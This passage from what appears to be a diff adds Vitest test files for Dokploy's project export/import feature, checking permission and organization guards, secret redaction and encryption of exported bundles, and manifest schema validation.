}),
};
},
);
const {
createImportJob,
getImportJob,
createExportJob,
exportScopeSchema,
assertTransferPermission,
validatePlan,
updateImportJob,
inspectBundle,
UnsupportedBundleVersionError,
} = await import("@dokploy/server/services/project-export-import");
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const ctxFor = (organizationId: string, userId = "user-1") =>
({
session: { activeOrganizationId: organizationId },
user: { id: userId, email: "a@b.com" },
}) as any;
describe("projectExportImportRouter.importStart", () => {
it("rejects with BAD_REQUEST when importPlan hasn't run yet, after checking permission", async () => {
const importId = "import-router-1";
createImportJob(importId, "user-1", "org-1");
const callCountBefore = (assertTransferPermission as any).mock.calls.length;
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
expect((assertTransferPermission as any).mock.calls.length).toBeGreaterThan(
callCountBefore,
);
});
it("returns NOT_FOUND for a job belonging to another organization", async () => {
const importId = "import-router-3";
createImportJob(importId, "user-1", "org-2");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "NOT_FOUND",
});
});
it("calls validatePlan and rejects with BAD_REQUEST when a check fails", async () => {
const userId = "user-validate-a";
const importId = "import-router-validate-1";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:taken-name", ok: false, detail: "Already in use" },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
expect(validatePlan).toHaveBeenCalled();
});
it("proceeds past validation when every check passes", async () => {
const userId = "user-validate-b";
const importId = "import-router-validate-2";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
const result = await caller.importStart({ importId });
expect(result).toEqual({ success: true });
});
it("rejects with CONFLICT when the user already has a different transfer active", async () => {
const userId = "user-validate-c";
const busyImportId = "import-router-busy-1";
createImportJob(busyImportId, userId, "org-1");
const importId = "import-router-validate-3";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
it("does not treat the job's own already-active status as a conflict with itself", async () => {
const userId = "user-validate-d";
const importId = "import-router-validate-4";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
const result = await caller.importStart({ importId });
expect(result).toEqual({ success: true });
});
it("re-checks target.projectId's org via assertTransferPermission for an existingProject target", async () => {
const userId = "user-validate-e";
const importId = "import-router-validate-5";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: {
kind: "existingProject",
projectId: "project-other-org",
environmentName: "imported",
},
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await caller.importStart({ importId }).catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBe("project-other-org");
});
});
describe("projectExportImportRouter.importInspect (T-6.20)", () => {
it("maps UnsupportedBundleVersionError to BAD_REQUEST with its guidance message", async () => {
const importId = "import-router-inspect-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
root: local("/tmp/does-not-matter"),
bundle: local("/tmp/does-not-matter.tar.gz"),
});
(inspectBundle as any).mockRejectedValueOnce(
new UnsupportedBundleVersionError(2, 1),
);
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importInspect({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
message: expect.stringContaining("newer version of Dokploy"),
});
});
});
describe("projectExportImportRouter guards", () => {
it("refuses to start an import that is not in the planned state", async () => {
const importId = "import-router-not-planned";
createImportJob(importId, "user-not-planned", "org-1");
updateImportJob(importId, {
status: "applying",
snapshot: { resources: { services: [] } } as any,
plan: { target: { kind: "newProject", name: "x" } } as any,
});
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-not-planned"),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
it("only lets the user who started the import reveal its secrets", async () => {
const importId = "import-router-other-user";
createImportJob(importId, "user-a", "org-1");
updateImportJob(importId, {
status: "unlocked",
snapshot: { resources: { services: [], shared: {} } } as any,
secretsPlain: new Map([["s", "v"]]),
});
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-b"),
);
await expect(
caller.importSecretReveal({ importId, secretId: "s" }),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("restores the original secret when an override is dropped from a later call", async () => {
const importId = "import-router-override-reset";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
status: "unlocked",
snapshot: {
resources: {
services: [],
shared: {
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
},
},
} as any,
secretsPlain: new Map([["reg-1", "original"]]),
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller.importSecretsOverride({
importId,
overrides: { "reg-1": "replaced" },
});
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("replaced");
await caller.importSecretsOverride({ importId, overrides: {} });
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("original");
});
it("only deletes objects that look like export bundles", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-delete-bundle"),
);
await expect(
caller.deleteRemoteBundle({
destinationId: "dest-1",
key: "backups/production.sql.gz",
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
it("reports unknown or foreign export ids as errors in exportBatchStatus", async () => {
createExportJob("batch-other-org", "user-1", "org-2");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.exportBatchStatus({ exportIds: ["nope", "batch-other-org"] }),
).resolves.toEqual([
{ exportId: "nope", status: "error", error: "Export not found" },
{
exportId: "batch-other-org",
status: "error",
error: "Export not found",
},
]);
});
it("parses the full organization scope and a bare preview scope with defaults", async () => {
const full = exportScopeSchema.parse({ dumps: { mode: "embed" } });
expect(full).toEqual({
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
});
expect(exportScopeSchema.parse({}).dumps.mode).toBe("none");
});
it("rejects an organization export to a destination the organization does not own", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-org-export"),
);
await expect(
caller.exportOrganizationStart({
destinationId: "dest-of-org-2",
passphrase: "a-long-enough-passphrase",
projectIds: ["project-1"],
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects exportStart with a destination the organization does not own", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-export-dest"),
);
await expect(
caller.exportStart({
projectId: "project-1",
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
passphrase: "a-long-enough-passphrase",
deliver: { kind: "destination", destinationId: "dest-of-org-2" },
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
});
describe("projectExportImportRouter.importValidate", () => {
it("rejects with BAD_REQUEST before importPlan ran", async () => {
const importId = "import-router-validate-early";
createImportJob(importId, "user-validate-early", "org-1");
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-validate-early"),
);
await expect(caller.importValidate({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
});
it("stores the checks on the plan and returns them", async () => {
const importId = "import-router-validate-store";
createImportJob(importId, "user-validate-store", "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
target: { kind: "newProject", name: "x" },
validation: [],
} as any,
});
(validatePlan as any).mockReset();
(validatePlan as any).mockResolvedValue([
{ check: "server:local", ok: false, detail: "unreachable" },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-validate-store"),
);
const result = await caller.importValidate({ importId });
(validatePlan as any).mockReset();
(validatePlan as any).mockResolvedValue([]);
expect(result.checks).toEqual([
{ check: "server:local", ok: false, detail: "unreachable" },
]);
const status = await caller.importStatus({ importId });
expect(status.plan?.validation).toEqual(result.checks);
});
});
describe("projectExportImportRouter.importUnlock (T-9.6)", () => {
it("rejects a passphrase under 12 characters at the input-validation layer", async () => {
const importId = "import-router-unlock-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, { workDir: local("/tmp/does-not-matter") });
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importUnlock({ importId, passphrase: "short" }),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
});
describe("projectExportImportRouter.importPlan", () => {
it("rejects with BAD_REQUEST when importUnlock hasn't run yet", async () => {
const importId = "import-router-4";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importPlan({
importId,
target: { kind: "newProject", name: "imported" },
choices: {},
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
it("passes target.projectId to assertTransferPermission for an existingProject target", async () => {
const importId = "import-router-5";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller
.importPlan({
importId,
target: {
kind: "existingProject",
projectId: "project-other-org",
environmentName: "imported",
},
choices: {},
})
.catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBe("project-other-org");
});
it("passes undefined projectId to assertTransferPermission for a newProject target", async () => {
const importId = "import-router-6";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller
.importPlan({
importId,
target: { kind: "newProject", name: "imported" },
choices: {},
})
.catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBeUndefined();
});
it("blocks importing a multi-environment bundle into an existing project that can't fit all of them (T-6.16)", async () => {
const { getCurrentPlan } = await import("@/server/utils/billing");
(getCurrentPlan as any).mockResolvedValueOnce("hobby");
const importId = "import-router-env-limit-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
snapshot: {
resources: { environments: [{}, {}, {}], services: [] },
} as any,
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importPlan({
importId,
target: {
kind: "existingProject",
projectId: "project-1",
environmentName: "imported",
},
choices: {},
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
});
describe("projectExportImportRouter.importCancel", () => {
it("returns NOT_FOUND for an unknown importId", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importCancel({ importId: "does-not-exist" }),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("maps a still-running import to CONFLICT", async () => {
const importId = "import-cancel-router-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, { status: "restoring" });
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importCancel({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
});
describe("projectExportImportRouter.exportCancel (T-6.7)", () => {
it("maps a still-running export to CONFLICT", async () => {
const exportId = "export-cancel-router-1";
const job = createExportJob(exportId, "user-1", "org-1");
job.status = "dumping";
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.exportCancel({ exportId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
});
describe("projectExportImportRouter *Status permission gating (T-5.2)", () => {
it("exportStatus and importStatus both reject a non-owner/admin with FORBIDDEN", async () => {
const exportId = "export-status-forbidden-1";
createExportJob(exportId, "user-1", "org-1");
const importId = "import-status-forbidden-1";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
const { TRPCError } = await import("@trpc/server");
const forbidden = () =>
new TRPCError({
code: "FORBIDDEN",
message: "Only organization owners and admins can do that",
});
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
await expect(caller.exportStatus({ exportId })).rejects.toMatchObject({
code: "FORBIDDEN",
});
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
await expect(caller.importStatus({ importId })).rejects.toMatchObject({
code: "FORBIDDEN",
});
});
it("exportStatus still returns downloadToken to an authorized caller (the UI needs it to build the download link)", async () => {
const exportId = "export-status-token-1";
createExportJob(exportId, "user-1", "org-1");
const { updateExportJob } = await import(
"@dokploy/server/services/project-export-import"
);
updateExportJob(exportId, {
status: "done",
downloadToken: "tok-abc123",
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
const result = await caller.exportStatus({ exportId });
expect((result as any).downloadToken).toBe("tok-abc123");
});
});
@@ -0,0 +1,41 @@
import { safeErrorMessage } from "@dokploy/server/services/project-export-import";
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it } from "vitest";
describe("safeErrorMessage (T-4.2)", () => {
it("never includes the command (which may embed a plaintext password) for an ExecError", () => {
const error = new ExecError(
"Command execution failed: Command failed: PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
{
command: "PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
stderr:
"pg_dump: error: connection failed: FATAL: password authentication failed",
exitCode: 1,
},
);
const message = safeErrorMessage(error);
expect(message).not.toContain("realpassword123");
expect(message).not.toContain("PGPASSWORD");
expect(message).toContain("exit code 1");
expect(message).toContain("password authentication failed");
});
it("falls back to a generic message when an ExecError has no stderr", () => {
const error = new ExecError("Command execution failed", {
command: "PGPASSWORD=secret pg_dump",
});
const message = safeErrorMessage(error);
expect(message).not.toContain("secret");
expect(message).toBe("Command failed");
});
it("passes a plain Error's message through unchanged", () => {
expect(safeErrorMessage(new Error("Service not found"))).toBe(
"Service not found",
);
});
it("stringifies a non-Error thrown value", () => {
expect(safeErrorMessage("boom")).toBe("boom");
});
});
@@ -0,0 +1,189 @@
import {
applications,
backups,
certificates,
compose,
destinations,
dnsProvider,
environments,
libsql,
mariadb,
mongo,
mounts,
mysql,
network,
postgres,
projects,
redis,
registry,
security,
sshKeys,
vaultProvider,
} from "@dokploy/server/db/schema";
import type { ResourceKind } from "@dokploy/server/services/project-export-import";
import {
NEVER_EXPORT_FIELDS,
restoreSecretFields,
SECRET_FIELDS,
stripNeverExport,
} from "@dokploy/server/services/project-export-import";
import { getTableColumns } from "drizzle-orm";
import { describe, expect, it } from "vitest";
const TABLES_WITH_KIND: { table: object; kind: ResourceKind }[] = [
{ table: applications, kind: "application" },
{ table: compose, kind: "compose" },
{ table: environments, kind: "environment" },
{ table: libsql, kind: "libsql" },
{ table: mariadb, kind: "mariadb" },
{ table: mongo, kind: "mongo" },
{ table: mysql, kind: "mysql" },
{ table: postgres, kind: "postgres" },
{ table: projects, kind: "project" },
{ table: redis, kind: "redis" },
];
const ALL_RESOURCE_TABLES: { table: object; kind: ResourceKind }[] = [
...TABLES_WITH_KIND,
{ table: mounts, kind: "mount" },
{ table: security, kind: "security" },
{ table: destinations, kind: "destination" },
{ table: registry, kind: "registry" },
{ table: sshKeys, kind: "sshKey" },
{ table: certificates, kind: "certificate" },
{ table: vaultProvider, kind: "vaultProvider" },
{ table: dnsProvider, kind: "dnsProvider" },
{ table: backups, kind: "backup" },
{ table: network, kind: "network" },
];
const SENSITIVE_NAME = /password|secret|token|privatekey|accesskey|apikey/i;
describe("every sensitive-looking column is covered by SECRET_FIELDS or NEVER_EXPORT_FIELDS", () => {
for (const { table, kind } of ALL_RESOURCE_TABLES) {
it(`covers sensitive-named columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const sensitiveFieldNames = Object.keys(columns).filter((name) =>
SENSITIVE_NAME.test(name),
);
const coveredBySecretFields = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
for (const fieldName of sensitiveFieldNames) {
const covered =
coveredBySecretFields.has(fieldName) ||
coveredByNeverExport.has(fieldName);
expect(covered, `${kind}.${fieldName} is not covered`).toBe(true);
}
});
}
});
describe("SECRET_FIELDS covers every encryptedText column", () => {
for (const { table, kind } of TABLES_WITH_KIND) {
it(`covers encrypted columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const encryptedFieldNames = Object.entries(columns)
.filter(
([, col]) =>
(col as { columnType: string }).columnType === "PgCustomColumn",
)
.map(([name]) => name);
expect(encryptedFieldNames.length).toBeGreaterThan(0);
const covered = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
for (const fieldName of encryptedFieldNames) {
expect(covered.has(fieldName)).toBe(true);
}
});
}
});
describe("stripNeverExport", () => {
it("removes NEVER_EXPORT_FIELDS for the given kind", () => {
const row = {
applicationId: "a1",
serverId: "s1",
buildServerId: "s2",
refreshToken: "tok",
githubId: "gh1",
createdAt: "2024-01-01",
name: "app",
};
const stripped = stripNeverExport("application", row);
expect(stripped).not.toHaveProperty("serverId");
expect(stripped).not.toHaveProperty("buildServerId");
expect(stripped).not.toHaveProperty("refreshToken");
expect(stripped).not.toHaveProperty("githubId");
expect(stripped).not.toHaveProperty("createdAt");
expect(stripped.applicationId).toBe("a1");
expect(stripped.name).toBe("app");
});
it("does not mutate the original row", () => {
const row = { serverId: "s1", name: "app" };
stripNeverExport("postgres", row);
expect(row).toHaveProperty("serverId");
});
it("is a no-op for a kind with no NEVER_EXPORT_FIELDS entry", () => {
const row = { name: "unmapped" };
// @ts-expect-error deliberately invalid kind, to check the fallback path
const stripped = stripNeverExport("notAKind", row);
expect(stripped).toEqual(row);
});
it("every ResourceKind used in NEVER_EXPORT_FIELDS strips createdAt", () => {
for (const kind of Object.keys(NEVER_EXPORT_FIELDS) as ResourceKind[]) {
const stripped = stripNeverExport(kind, { createdAt: "x", id: "1" });
expect(stripped).not.toHaveProperty("createdAt");
}
});
});
const SAFE_JSONB_COLUMNS = new Set(["compose.serviceNetworks", "network.ipam"]);
describe("every jsonb column is covered or explicitly allowlisted as safe", () => {
for (const { table, kind } of ALL_RESOURCE_TABLES) {
it(`checks jsonb columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const jsonbFieldNames = Object.entries(columns)
.filter(
([, col]) => (col as { columnType: string }).columnType === "PgJsonb",
)
.map(([name]) => name);
const coveredBySecretFields = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
for (const fieldName of jsonbFieldNames) {
const covered =
coveredBySecretFields.has(fieldName) ||
coveredByNeverExport.has(fieldName) ||
SAFE_JSONB_COLUMNS.has(`${kind}.${fieldName}`);
expect(
covered,
`${kind}.${fieldName} is not covered or allowlisted`,
).toBe(true);
}
});
}
});
describe("restoreSecretFields / CRLF env files (T-11.5)", () => {
it("resolves a $secret: reference even when the env file uses CRLF line endings", () => {
const secretsPlain = new Map([["secret-uuid-1", "realpassword"]]);
const row = {
env: "DB_PASS=$secret:secret-uuid-1\r\nOTHER=plain\r\n",
};
const result = restoreSecretFields("application", row, secretsPlain);
expect(result.env).toBe("DB_PASS=realpassword\nOTHER=plain\n");
});
});
@@ -0,0 +1,53 @@
import type { Snapshot } from "@dokploy/server/services/project-export-import";
import { listReviewableSecrets } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const snapshot = {
resources: {
project: {},
environments: [],
services: [
{
kind: "application",
applicationId: "app-1",
name: "web",
security: [
{ username: "admin", password: "$secret:sec-1" },
{ username: "plain", password: "not-a-ref" },
],
},
{ kind: "postgres", postgresId: "pg-1", databasePassword: "$secret:pg" },
],
shared: {
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
destination: [
{
name: "backups",
accessKey: "$secret:ak-1",
secretAccessKey: "$secret:sk-1",
},
],
sshKey: [{ name: "deploy", privateKey: "$secret:ssh-1" }],
certificate: [{ name: "wildcard", privateKey: "$secret:cert-1" }],
},
},
} as unknown as Snapshot;
describe("listReviewableSecrets", () => {
it("lists external credentials by secret ref, skipping database passwords and non-refs", () => {
const entries = listReviewableSecrets(snapshot);
expect(
entries.map((e) => [e.kind, e.resource, e.field, e.secretId]),
).toEqual([
["basicAuth", "web · admin", "password", "sec-1"],
["registry", "ghcr", "password", "reg-1"],
["destination", "backups", "accessKey", "ak-1"],
["destination", "backups", "secretAccessKey", "sk-1"],
["sshKey", "deploy", "privateKey", "ssh-1"],
["certificate", "wildcard", "privateKey", "cert-1"],
]);
expect(entries.filter((e) => e.generatable).map((e) => e.kind)).toEqual([
"basicAuth",
]);
});
});
@@ -0,0 +1,187 @@
import { createReadStream, createWriteStream, existsSync } from "node:fs";
import {
mkdir,
mkdtemp,
readdir,
readFile,
rm,
writeFile,
} from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { pipeline } from "node:stream/promises";
import type { SerializeInput } from "@dokploy/server/services/project-export-import";
import {
deriveKeys,
gcmDecryptStream,
serialize,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
let workDir: string;
let outDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-serialize-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-serialize-out-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
const baseInput: SerializeInput = {
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [{ environmentId: "env-1", name: "production" }],
services: [
{
kind: "postgres",
postgresId: "pg-1",
name: "pg-1",
databasePassword: "$secret:11111111-1111-1111-1111-111111111111",
},
],
shared: {},
},
inventory: {
project: { name: "my-project", environments: 1 },
environments: [
{ id: "env-1", name: "production", services: { postgres: 1 } },
],
totals: { postgres: 1 },
estimatedDumpBytes: 0,
estimatedFilesBytes: 0,
images: [],
},
requirements: [],
warnings: [],
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 15,
},
],
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
};
const secretsPlain = new Map([
["11111111-1111-1111-1111-111111111111", "realdbpassword"],
]);
describe("serialize", () => {
it("keeps only the public files in clear and encrypts everything else", async () => {
await mkdir(join(workDir, "dumps"), { recursive: true });
await writeFile(join(workDir, "dumps", "pg-1.sql.gz"), "fake-dump-bytes");
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
baseInput,
secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
expect(existsSync(bundlePath)).toBe(true);
expect(existsSync(workDir)).toBe(false);
const { stdout: members } = await execAsync(`tar -tzf "${bundlePath}"`);
expect(members.split("\n")[0]).toBe("manifest.json");
const extractDir = join(outDir, "extracted");
await mkdir(extractDir, { recursive: true });
await execAsync(`tar -xzf "${bundlePath}" -C "${extractDir}"`);
expect((await readdir(extractDir)).sort()).toEqual([
"inventory.json",
"manifest.json",
"payload.enc",
"requirements.json",
"warnings.json",
]);
const outerBytes = await readFile(join(extractDir, "payload.enc"));
expect(outerBytes.includes("realdbpassword")).toBe(false);
expect(outerBytes.includes("fake-dump-bytes")).toBe(false);
const manifest = JSON.parse(
await readFile(join(extractDir, "manifest.json"), "utf8"),
);
const { kEnc } = await deriveKeys(PASSPHRASE, manifest.crypto.salt);
const payloadDir = join(outDir, "payload");
await mkdir(payloadDir, { recursive: true });
await pipeline(
createReadStream(join(extractDir, "payload.enc")),
gcmDecryptStream(kEnc),
createWriteStream(join(outDir, "payload.tar.gz")),
);
await execAsync(
`tar -xzf "${join(outDir, "payload.tar.gz")}" -C "${payloadDir}"`,
);
const servicesJson = await readFile(
join(payloadDir, "resources", "services.json"),
"utf8",
);
expect(servicesJson).not.toContain("realdbpassword");
expect(servicesJson).toContain(
"$secret:11111111-1111-1111-1111-111111111111",
);
expect(
await readFile(join(payloadDir, "dumps", "pg-1.sql.gz"), "utf8"),
).toBe("fake-dump-bytes");
const secrets = JSON.parse(
await readFile(join(payloadDir, "secrets.json"), "utf8"),
);
expect(secrets["11111111-1111-1111-1111-111111111111"]).toBe(
"realdbpassword",
);
});
it("removes workDir even when writing fails", async () => {
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
const badInput: SerializeInput = {
...baseInput,
resources: {
...baseInput.resources,
project: { self: undefined as unknown },
},
};
(badInput.resources.project as Record<string, unknown>).self =
badInput.resources.project;
await expect(
serialize(
badInput,
secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
),
).rejects.toThrow();
expect(existsSync(workDir)).toBe(false);
});
});
@@ -0,0 +1,116 @@
import { serviceType } from "@dokploy/server/db/schema";
import {
manifestSchema,
requirementSchema,
serviceTypeSchema,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const validManifest = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: new Date().toISOString(),
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "a2V5Y2hlY2s=",
},
counts: { application: 1 },
};
describe("transfer types", () => {
it("accepts a valid manifest", () => {
expect(manifestSchema.safeParse(validManifest).success).toBe(true);
});
it("accepts a structurally-valid manifest with a future formatVersion (rejecting it is migrateManifest's job, not the schema's)", () => {
const result = manifestSchema.safeParse({
...validManifest,
formatVersion: 2,
});
expect(result.success).toBe(true);
});
it("rejects a formatVersion that isn't a positive integer", () => {
expect(
manifestSchema.safeParse({ ...validManifest, formatVersion: 0 }).success,
).toBe(false);
expect(
manifestSchema.safeParse({ ...validManifest, formatVersion: 1.5 })
.success,
).toBe(false);
});
it("rejects a Requirement with an unknown kind", () => {
const result = requirementSchema.safeParse({
kind: "unknownKind",
originalId: null,
configIncluded: false,
usedBy: [],
});
expect(result.success).toBe(false);
});
it("accepts every real Requirement kind with its shape", () => {
const base = { originalId: "id-1", configIncluded: true, usedBy: [] };
const cases = [
{
...base,
kind: "vault",
providerName: "prod",
providerType: "hashicorp",
secretKeys: ["DB_PASS"],
},
{
...base,
kind: "gitProvider",
providerType: "github",
repositories: [{ owner: "acme", repo: "app" }],
},
{
...base,
kind: "destination",
bucket: "b",
endpoint: "e",
region: "r",
},
{
...base,
kind: "registry",
registryUrl: "r",
imagePrefix: "p",
role: ["registry"],
},
{ ...base, kind: "sshKey", publicKey: "ssh-ed25519 AAAA" },
{ ...base, kind: "network", name: "net" },
{ ...base, kind: "certificate", fingerprint: "abc123", serverId: null },
{ ...base, kind: "server", originalId: null, serverId: null },
];
for (const testCase of cases) {
expect(
requirementSchema.safeParse(testCase).success,
`kind ${testCase.kind} should be valid`,
).toBe(true);
}
});
it("keeps serviceTypeSchema in sync with the serviceType DB enum", () => {
expect([...serviceTypeSchema.options].sort()).toEqual(
[...serviceType.enumValues].sort(),
);
});
});
@@ -0,0 +1,411 @@
import { existsSync } from "node:fs";
import { mkdtemp, readFile, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { PassThrough } from "node:stream";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
let transferPathToReturn = "";
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
const { maxUploadBytesBox, remoteBox } = vi.hoisted(() => ({
maxUploadBytesBox: { value: 10 * 1024 * 1024 * 1024 },
remoteBox: {
commands: [] as string[],
received: [] as Buffer[],
stdin: undefined as undefined | { destroyed: boolean },
exitCode: null as number | null,
},
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock(
"@dokploy/server/utils/process/remoteStream",
